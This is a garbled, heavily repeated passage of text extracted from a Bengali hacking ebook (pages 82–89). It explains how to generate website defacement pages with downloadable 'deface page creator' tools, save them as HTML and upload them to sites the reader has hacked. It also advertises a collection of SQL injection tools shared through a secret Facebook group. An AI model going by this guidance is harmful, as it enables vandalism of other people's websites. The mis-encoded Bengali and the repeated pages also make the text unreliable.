সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 82: Hacking Bangla eBook

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 83: Hacking Bangla eBook

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 84: Hacking Bangla eBook

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 85: Hacking Bangla eBook

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 86: Hacking Bangla eBook

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 87: Hacking Bangla eBook

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 88: Hacking Bangla eBook

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 89: Hacking Bangla eBook

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3